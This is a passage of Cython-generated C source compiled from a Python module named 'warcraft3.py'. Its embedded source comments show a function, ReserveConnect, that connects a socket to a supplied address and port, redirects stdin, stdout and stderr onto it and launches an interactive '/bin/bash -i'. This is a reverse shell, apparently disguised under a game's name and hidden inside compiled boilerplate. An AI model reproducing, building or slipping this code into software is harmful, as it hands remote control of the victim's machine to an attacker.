  2060. __Pyx_RaiseArgtupleInvalid("ReserveConnect", 1, 2, 2, PyTuple_GET_SIZE(__pyx_args)); __PYX_ERR(0, 33, __pyx_L3_error)
  2061. __pyx_L3_error:;
  2062. __Pyx_AddTraceback("warcraft3.ReserveConnect", __pyx_clineno, __pyx_lineno, __pyx_filename);
  2063. __Pyx_RefNannyFinishContext();
  2064. return NULL;
  2065. __pyx_L4_argument_unpacking_done:;
  2066. __pyx_r = __pyx_pf_9warcraft3_2ReserveConnect(__pyx_self, __pyx_v_addr, __pyx_v_port);
  2067. /* function exit code */
  2068. __Pyx_RefNannyFinishContext();
  2069. return __pyx_r;
  2070. }
  2071. static PyObject *__pyx_pf_9warcraft3_2ReserveConnect(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_addr, PyObject *__pyx_v_port) {
  2072. PyObject *__pyx_v_shell = NULL;
  2073. PyObject *__pyx_v_reason = NULL;
  2074. PyObject *__pyx_r = NULL;
  2075. __Pyx_RefNannyDeclarations
  2076. PyObject *__pyx_t_1 = NULL;
  2077. PyObject *__pyx_t_2 = NULL;
  2078. PyObject *__pyx_t_3 = NULL;
  2079. PyObject *__pyx_t_4 = NULL;
  2080. PyObject *__pyx_t_5 = NULL;
  2081. PyObject *__pyx_t_6 = NULL;
  2082. PyObject *__pyx_t_7 = NULL;
  2083. PyObject *__pyx_t_8 = NULL;
  2084. int __pyx_t_9;
  2085. PyObject *__pyx_t_10 = NULL;
  2086. __Pyx_RefNannySetupContext("ReserveConnect", 0);
  2087. /* "warcraft3.py":35
  2088. * def ReserveConnect(addr, port):
  2089. * '''shell'''
  2090. * try: # <<<<<<<<<<<<<<
  2091. * shell = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2092. * shell.connect((addr,port))
  2093. */
  2094. {
  2095. __Pyx_PyThreadState_declare
  2096. __Pyx_PyThreadState_assign
  2097. __Pyx_ExceptionSave(&__pyx_t_1, &__pyx_t_2, &__pyx_t_3);
  2098. __Pyx_XGOTREF(__pyx_t_1);
  2099. __Pyx_XGOTREF(__pyx_t_2);
  2100. __Pyx_XGOTREF(__pyx_t_3);
  2101. /*try:*/ {
  2102. /* "warcraft3.py":36
  2103. * '''shell'''
  2104. * try:
  2105. * shell = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # <<<<<<<<<<<<<<
  2106. * shell.connect((addr,port))
  2107. * except Exception as reason:
  2108. */
  2109. __pyx_t_5 = __Pyx_GetModuleGlobalName(__pyx_n_s_socket); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 36, __pyx_L3_error)
  2110. __Pyx_GOTREF(__pyx_t_5);
  2111. __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_socket); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 36, __pyx_L3_error)
  2112. __Pyx_GOTREF(__pyx_t_6);
  2113. __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  2114. __pyx_t_5 = __Pyx_GetModuleGlobalName(__pyx_n_s_socket); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 36, __pyx_L3_error)
  2115. __Pyx_GOTREF(__pyx_t_5);
  2116. __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_AF_INET); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 36, __pyx_L3_error)
  2117. __Pyx_GOTREF(__pyx_t_7);
  2118. __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  2119. __pyx_t_5 = __Pyx_GetModuleGlobalName(__pyx_n_s_socket); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 36, __pyx_L3_error)
  2120. __Pyx_GOTREF(__pyx_t_5);
  2121. __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_SOCK_STREAM); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 36, __pyx_L3_error)
  2122. __Pyx_GOTREF(__pyx_t_8);
  2123. __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  2124. __pyx_t_5 = NULL;
  2125. __pyx_t_9 = 0;
  2126. if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_6))) {
  2127. __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_6);
  2128. if (likely(__pyx_t_5)) {
  2129. PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6);
  2130. __Pyx_INCREF(__pyx_t_5);
  2131. __Pyx_INCREF(function);
  2132. __Pyx_DECREF_SET(__pyx_t_6, function);
  2133. __pyx_t_9 = 1;
  2134. }
  2135. }
  2136. #if CYTHON_FAST_PYCALL
  2137. if (PyFunction_Check(__pyx_t_6)) {
  2138. PyObject *__pyx_temp[3] = {__pyx_t_5, __pyx_t_7, __pyx_t_8};
  2139. __pyx_t_4 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-__pyx_t_9, 2+__pyx_t_9); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 36, __pyx_L3_error)
  2140. __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0;
  2141. __Pyx_GOTREF(__pyx_t_4);
  2142. __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0;
  2143. __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0;
  2144. } else
  2145. #endif
  2146. #if CYTHON_FAST_PYCCALL
  2147. if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) {
  2148. PyObject *__pyx_temp[3] = {__pyx_t_5, __pyx_t_7, __pyx_t_8};
  2149. __pyx_t_4 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-__pyx_t_9, 2+__pyx_t_9); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 36, __pyx_L3_error)
  2150. __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0;
  2151. __Pyx_GOTREF(__pyx_t_4);
  2152. __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0;
  2153. __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0;
  2154. } else
  2155. #endif
  2156. {
  2157. __pyx_t_10 = PyTuple_New(2+__pyx_t_9); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 36, __pyx_L3_error)
  2158. __Pyx_GOTREF(__pyx_t_10);
  2159. if (__pyx_t_5) {
  2160. __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_10, 0, __pyx_t_5); __pyx_t_5 = NULL;
  2161. }
  2162. __Pyx_GIVEREF(__pyx_t_7);
  2163. PyTuple_SET_ITEM(__pyx_t_10, 0+__pyx_t_9, __pyx_t_7);
  2164. __Pyx_GIVEREF(__pyx_t_8);
  2165. PyTuple_SET_ITEM(__pyx_t_10, 1+__pyx_t_9, __pyx_t_8);
  2166. __pyx_t_7 = 0;
  2167. __pyx_t_8 = 0;
  2168. __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_10, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 36, __pyx_L3_error)
  2169. __Pyx_GOTREF(__pyx_t_4);
  2170. __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
  2171. }
  2172. __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  2173. __pyx_v_shell = __pyx_t_4;
  2174. __pyx_t_4 = 0;
  2175. /* "warcraft3.py":37
  2176. * try:
  2177. * shell = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2178. * shell.connect((addr,port)) # <<<<<<<<<<<<<<
  2179. * except Exception as reason:
  2180. * print ('[-] Failed to Create Socket : %s'%reason)
  2181. */
  2182. __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_shell, __pyx_n_s_connect); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 37, __pyx_L3_error)
  2183. __Pyx_GOTREF(__pyx_t_6);
  2184. __pyx_t_10 = PyTuple_New(2); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 37, __pyx_L3_error)
  2185. __Pyx_GOTREF(__pyx_t_10);
  2186. __Pyx_INCREF(__pyx_v_addr);
  2187. __Pyx_GIVEREF(__pyx_v_addr);
  2188. PyTuple_SET_ITEM(__pyx_t_10, 0, __pyx_v_addr);
  2189. __Pyx_INCREF(__pyx_v_port);
  2190. __Pyx_GIVEREF(__pyx_v_port);
  2191. PyTuple_SET_ITEM(__pyx_t_10, 1, __pyx_v_port);
  2192. __pyx_t_8 = NULL;
  2193. if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) {
  2194. __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_6);
  2195. if (likely(__pyx_t_8)) {
  2196. PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6);
  2197. __Pyx_INCREF(__pyx_t_8);
  2198. __Pyx_INCREF(function);
  2199. __Pyx_DECREF_SET(__pyx_t_6, function);
  2200. }
  2201. }
  2202. if (!__pyx_t_8) {
  2203. __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_10); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 37, __pyx_L3_error)
  2204. __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
  2205. __Pyx_GOTREF(__pyx_t_4);
  2206. } else {
  2207. #if CYTHON_FAST_PYCALL
  2208. if (PyFunction_Check(__pyx_t_6)) {
  2209. PyObject *__pyx_temp[2] = {__pyx_t_8, __pyx_t_10};
  2210. __pyx_t_4 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 37, __pyx_L3_error)
  2211. __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0;
  2212. __Pyx_GOTREF(__pyx_t_4);
  2213. __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
  2214. } else
  2215. #endif
  2216. #if CYTHON_FAST_PYCCALL
  2217. if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) {
  2218. PyObject *__pyx_temp[2] = {__pyx_t_8, __pyx_t_10};
  2219. __pyx_t_4 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 37, __pyx_L3_error)
  2220. __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0;
  2221. __Pyx_GOTREF(__pyx_t_4);
  2222. __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
  2223. } else
  2224. #endif
  2225. {
  2226. __pyx_t_7 = PyTuple_New(1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 37, __pyx_L3_error)
  2227. __Pyx_GOTREF(__pyx_t_7);
  2228. __Pyx_GIVEREF(__pyx_t_8); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_8); __pyx_t_8 = NULL;
  2229. __Pyx_GIVEREF(__pyx_t_10);
  2230. PyTuple_SET_ITEM(__pyx_t_7, 0+1, __pyx_t_10);
  2231. __pyx_t_10 = 0;
  2232. __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_7, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 37, __pyx_L3_error)
  2233. __Pyx_GOTREF(__pyx_t_4);
  2234. __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0;
  2235. }
  2236. }
  2237. __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  2238. __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0;
  2239. /* "warcraft3.py":35
  2240. * def ReserveConnect(addr, port):
  2241. * '''shell'''
  2242. * try: # <<<<<<<<<<<<<<
  2243. * shell = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2244. * shell.connect((addr,port))
  2245. */
  2246. }
  2247. __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0;
  2248. __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0;
  2249. __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0;
  2250. goto __pyx_L8_try_end;
  2251. __pyx_L3_error:;
  2252. __Pyx_PyThreadState_assign
  2253. __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0;
  2254. __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0;
  2255. __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0;
  2256. __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0;
  2257. __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0;
  2258. __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0;
  2259. /* "warcraft3.py":38
  2260. * shell = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2261. * shell.connect((addr,port))
  2262. * except Exception as reason: # <<<<<<<<<<<<<<
  2263. * print ('[-] Failed to Create Socket : %s'%reason)
  2264. * exit(0)
  2265. */
  2266. __pyx_t_9 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0])));
  2267. if (__pyx_t_9) {
  2268. __Pyx_AddTraceback("warcraft3.ReserveConnect", __pyx_clineno, __pyx_lineno, __pyx_filename);
  2269. if (__Pyx_GetException(&__pyx_t_4, &__pyx_t_6, &__pyx_t_7) < 0) __PYX_ERR(0, 38, __pyx_L5_except_error)
  2270. __Pyx_GOTREF(__pyx_t_4);
  2271. __Pyx_GOTREF(__pyx_t_6);
  2272. __Pyx_GOTREF(__pyx_t_7);
  2273. __Pyx_INCREF(__pyx_t_6);
  2274. __pyx_v_reason = __pyx_t_6;
  2275. /* "warcraft3.py":39
  2276. * shell.connect((addr,port))
  2277. * except Exception as reason:
  2278. * print ('[-] Failed to Create Socket : %s'%reason) # <<<<<<<<<<<<<<
  2279. * exit(0)
  2280. * try:
  2281. */
  2282. __pyx_t_10 = __Pyx_PyString_Format(__pyx_kp_s_Failed_to_Create_Socket_s, __pyx_v_reason); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 39, __pyx_L5_except_error)
  2283. __Pyx_GOTREF(__pyx_t_10);
  2284. if (__Pyx_PrintOne(0, __pyx_t_10) < 0) __PYX_ERR(0, 39, __pyx_L5_except_error)
  2285. __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
  2286. /* "warcraft3.py":40
  2287. * except Exception as reason:
  2288. * print ('[-] Failed to Create Socket : %s'%reason)
  2289. * exit(0) # <<<<<<<<<<<<<<
  2290. * try:
  2291. * os.dup2(shell.fileno(),0)
  2292. */
  2293. __pyx_t_10 = __Pyx_PyObject_Call(__pyx_builtin_exit, __pyx_tuple__4, NULL); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 40, __pyx_L5_except_error)
  2294. __Pyx_GOTREF(__pyx_t_10);
  2295. __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
  2296. __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0;
  2297. __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  2298. __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0;
  2299. goto __pyx_L4_exception_handled;
  2300. }
  2301. goto __pyx_L5_except_error;
  2302. __pyx_L5_except_error:;
  2303. /* "warcraft3.py":35
  2304. * def ReserveConnect(addr, port):
  2305. * '''shell'''
  2306. * try: # <<<<<<<<<<<<<<
  2307. * shell = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2308. * shell.connect((addr,port))
  2309. */
  2310. __Pyx_PyThreadState_assign
  2311. __Pyx_XGIVEREF(__pyx_t_1);
  2312. __Pyx_XGIVEREF(__pyx_t_2);
  2313. __Pyx_XGIVEREF(__pyx_t_3);
  2314. __Pyx_ExceptionReset(__pyx_t_1, __pyx_t_2, __pyx_t_3);
  2315. goto __pyx_L1_error;
  2316. __pyx_L4_exception_handled:;
  2317. __Pyx_PyThreadState_assign
  2318. __Pyx_XGIVEREF(__pyx_t_1);
  2319. __Pyx_XGIVEREF(__pyx_t_2);
  2320. __Pyx_XGIVEREF(__pyx_t_3);
  2321. __Pyx_ExceptionReset(__pyx_t_1, __pyx_t_2, __pyx_t_3);
  2322. __pyx_L8_try_end:;
  2323. }
  2324. /* "warcraft3.py":41
  2325. * print ('[-] Failed to Create Socket : %s'%reason)
  2326. * exit(0)
  2327. * try: # <<<<<<<<<<<<<<
  2328. * os.dup2(shell.fileno(),0)
  2329. * os.dup2(shell.fileno(),1)
  2330. */
  2331. {
  2332. __Pyx_PyThreadState_declare
  2333. __Pyx_PyThreadState_assign
  2334. __Pyx_ExceptionSave(&__pyx_t_3, &__pyx_t_2, &__pyx_t_1);
  2335. __Pyx_XGOTREF(__pyx_t_3);
  2336. __Pyx_XGOTREF(__pyx_t_2);
  2337. __Pyx_XGOTREF(__pyx_t_1);
  2338. /*try:*/ {
  2339. /* "warcraft3.py":42
  2340. * exit(0)
  2341. * try:
  2342. * os.dup2(shell.fileno(),0) # <<<<<<<<<<<<<<
  2343. * os.dup2(shell.fileno(),1)
  2344. * os.dup2(shell.fileno(),2)
  2345. */
  2346. __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_os); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 42, __pyx_L11_error)
  2347. __Pyx_GOTREF(__pyx_t_6);
  2348. __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_dup2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 42, __pyx_L11_error)
  2349. __Pyx_GOTREF(__pyx_t_4);
  2350. __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  2351. if (unlikely(!__pyx_v_shell)) { __Pyx_RaiseUnboundLocalError("shell"); __PYX_ERR(0, 42, __pyx_L11_error) }
  2352. __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_v_shell, __pyx_n_s_fileno); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 42, __pyx_L11_error)
  2353. __Pyx_GOTREF(__pyx_t_10);
  2354. __pyx_t_8 = NULL;
  2355. if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_10))) {
  2356. __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_10);
  2357. if (likely(__pyx_t_8)) {
  2358. PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_10);
  2359. __Pyx_INCREF(__pyx_t_8);
  2360. __Pyx_INCREF(function);
  2361. __Pyx_DECREF_SET(__pyx_t_10, function);
  2362. }
  2363. }
  2364. if (__pyx_t_8) {
  2365. __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_10, __pyx_t_8); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 42, __pyx_L11_error)
  2366. __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0;
  2367. } else {
  2368. __pyx_t_6 = __Pyx_PyObject_CallNoArg(__pyx_t_10); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 42, __pyx_L11_error)
  2369. }
  2370. __Pyx_GOTREF(__pyx_t_6);
  2371. __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
  2372. __pyx_t_10 = NULL;
  2373. __pyx_t_9 = 0;
  2374. if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_4))) {
  2375. __pyx_t_10 = PyMethod_GET_SELF(__pyx_t_4);
  2376. if (likely(__pyx_t_10)) {
  2377. PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4);
  2378. __Pyx_INCREF(__pyx_t_10);
  2379. __Pyx_INCREF(function);
  2380. __Pyx_DECREF_SET(__pyx_t_4, function);
  2381. __pyx_t_9 = 1;
  2382. }
  2383. }
  2384. #if CYTHON_FAST_PYCALL
  2385. if (PyFunction_Check(__pyx_t_4)) {
  2386. PyObject *__pyx_temp[3] = {__pyx_t_10, __pyx_t_6, __pyx_int_0};
  2387. __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-__pyx_t_9, 2+__pyx_t_9); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 42, __pyx_L11_error)
  2388. __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0;
  2389. __Pyx_GOTREF(__pyx_t_7);
  2390. __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  2391. } else
  2392. #endif
  2393. #if CYTHON_FAST_PYCCALL
  2394. if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) {
  2395. PyObject *__pyx_temp[3] = {__pyx_t_10, __pyx_t_6, __pyx_int_0};
  2396. __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-__pyx_t_9, 2+__pyx_t_9); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 42, __pyx_L11_error)
  2397. __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0;
  2398. __Pyx_GOTREF(__pyx_t_7);
  2399. __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  2400. } else
  2401. #endif
  2402. {
  2403. __pyx_t_8 = PyTuple_New(2+__pyx_t_9); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 42, __pyx_L11_error)
  2404. __Pyx_GOTREF(__pyx_t_8);
  2405. if (__pyx_t_10) {
  2406. __Pyx_GIVEREF(__pyx_t_10); PyTuple_SET_ITEM(__pyx_t_8, 0, __pyx_t_10); __pyx_t_10 = NULL;
  2407. }
  2408. __Pyx_GIVEREF(__pyx_t_6);
  2409. PyTuple_SET_ITEM(__pyx_t_8, 0+__pyx_t_9, __pyx_t_6);
  2410. __Pyx_INCREF(__pyx_int_0);
  2411. __Pyx_GIVEREF(__pyx_int_0);
  2412. PyTuple_SET_ITEM(__pyx_t_8, 1+__pyx_t_9, __pyx_int_0);
  2413. __pyx_t_6 = 0;
  2414. __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_8, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 42, __pyx_L11_error)
  2415. __Pyx_GOTREF(__pyx_t_7);
  2416. __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0;
  2417. }
  2418. __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0;
  2419. __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0;
  2420. /* "warcraft3.py":43
  2421. * try:
  2422. * os.dup2(shell.fileno(),0)
  2423. * os.dup2(shell.fileno(),1) # <<<<<<<<<<<<<<
  2424. * os.dup2(shell.fileno(),2)
  2425. * subprocess.call(["/bin/bash", "-i"])
  2426. */
  2427. __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_os); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 43, __pyx_L11_error)
  2428. __Pyx_GOTREF(__pyx_t_4);
  2429. __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_dup2); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 43, __pyx_L11_error)
  2430. __Pyx_GOTREF(__pyx_t_8);
  2431. __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0;
  2432. if (unlikely(!__pyx_v_shell)) { __Pyx_RaiseUnboundLocalError("shell"); __PYX_ERR(0, 43, __pyx_L11_error) }
  2433. __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_shell, __pyx_n_s_fileno); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 43, __pyx_L11_error)
  2434. __Pyx_GOTREF(__pyx_t_6);
  2435. __pyx_t_10 = NULL;
  2436. if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) {
  2437. __pyx_t_10 = PyMethod_GET_SELF(__pyx_t_6);
  2438. if (likely(__pyx_t_10)) {
  2439. PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6);
  2440. __Pyx_INCREF(__pyx_t_10);
  2441. __Pyx_INCREF(function);
  2442. __Pyx_DECREF_SET(__pyx_t_6, function);
  2443. }
  2444. }
  2445. if (__pyx_t_10) {
  2446. __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_10); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 43, __pyx_L11_error)
  2447. __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
  2448. } else {
  2449. __pyx_t_4 = __Pyx_PyObject_CallNoArg(__pyx_t_6); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 43, __pyx_L11_error)
  2450. }
  2451. __Pyx_GOTREF(__pyx_t_4);
  2452. __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  2453. __pyx_t_6 = NULL;
  2454. __pyx_t_9 = 0;
  2455. if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_8))) {
  2456. __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_8);
  2457. if (likely(__pyx_t_6)) {
  2458. PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_8);
  2459. __Pyx_INCREF(__pyx_t_6);
  2460. __Pyx_INCREF(function);
  2461. __Pyx_DECREF_SET(__pyx_t_8, function);
  2462. __pyx_t_9 = 1;
  2463. }
  2464. }
  2465. #if CYTHON_FAST_PYCALL
  2466. if (PyFunction_Check(__pyx_t_8)) {
  2467. PyObject *__pyx_temp[3] = {__pyx_t_6, __pyx_t_4, __pyx_int_1};
  2468. __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_8, __pyx_temp+1-__pyx_t_9, 2+__pyx_t_9); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 43, __pyx_L11_error)
  2469. __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0;
  2470. __Pyx_GOTREF(__pyx_t_7);
  2471. __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0;
  2472. } else
  2473. #endif
  2474. #if CYTHON_FAST_PYCCALL
  2475. if (__Pyx_PyFastCFunction_Check(__pyx_t_8)) {
  2476. PyObject *__pyx_temp[3] = {__pyx_t_6, __pyx_t_4, __pyx_int_1};
  2477. __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_8, __pyx_temp+1-__pyx_t_9, 2+__pyx_t_9); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 43, __pyx_L11_error)
  2478. __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0;
  2479. __Pyx_GOTREF(__pyx_t_7);
  2480. __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0;
  2481. } else
  2482. #endif
  2483. {
  2484. __pyx_t_10 = PyTuple_New(2+__pyx_t_9); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 43, __pyx_L11_error)
  2485. __Pyx_GOTREF(__pyx_t_10);
  2486. if (__pyx_t_6) {
  2487. __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_10, 0, __pyx_t_6); __pyx_t_6 = NULL;
  2488. }
  2489. __Pyx_GIVEREF(__pyx_t_4);
  2490. PyTuple_SET_ITEM(__pyx_t_10, 0+__pyx_t_9, __pyx_t_4);
  2491. __Pyx_INCREF(__pyx_int_1);
  2492. __Pyx_GIVEREF(__pyx_int_1);
  2493. PyTuple_SET_ITEM(__pyx_t_10, 1+__pyx_t_9, __pyx_int_1);
  2494. __pyx_t_4 = 0;
  2495. __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_8, __pyx_t_10, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 43, __pyx_L11_error)
  2496. __Pyx_GOTREF(__pyx_t_7);
  2497. __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
  2498. }
  2499. __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0;
  2500. __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0;
  2501. /* "warcraft3.py":44
  2502. * os.dup2(shell.fileno(),0)
  2503. * os.dup2(shell.fileno(),1)
  2504. * os.dup2(shell.fileno(),2) # <<<<<<<<<<<<<<
  2505. * subprocess.call(["/bin/bash", "-i"])
  2506. * except Exception as reason:
  2507. */
  2508. __pyx_t_8 = __Pyx_GetModuleGlobalName(__pyx_n_s_os); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 44, __pyx_L11_error)
  2509. __Pyx_GOTREF(__pyx_t_8);
  2510. __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_t_8, __pyx_n_s_dup2); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 44, __pyx_L11_error)
  2511. __Pyx_GOTREF(__pyx_t_10);
  2512. __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0;
  2513. if (unlikely(!__pyx_v_shell)) { __Pyx_RaiseUnboundLocalError("shell"); __PYX_ERR(0, 44, __pyx_L11_error) }
  2514. __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_shell, __pyx_n_s_fileno); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 44, __pyx_L11_error)
  2515. __Pyx_GOTREF(__pyx_t_4);
  2516. __pyx_t_6 = NULL;
  2517. if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) {
  2518. __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_4);
  2519. if (likely(__pyx_t_6)) {
  2520. PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4);
  2521. __Pyx_INCREF(__pyx_t_6);
  2522. __Pyx_INCREF(function);
  2523. __Pyx_DECREF_SET(__pyx_t_4, function);
  2524. }
  2525. }
  2526. if (__pyx_t_6) {
  2527. __pyx_t_8 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_6); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 44, __pyx_L11_error)
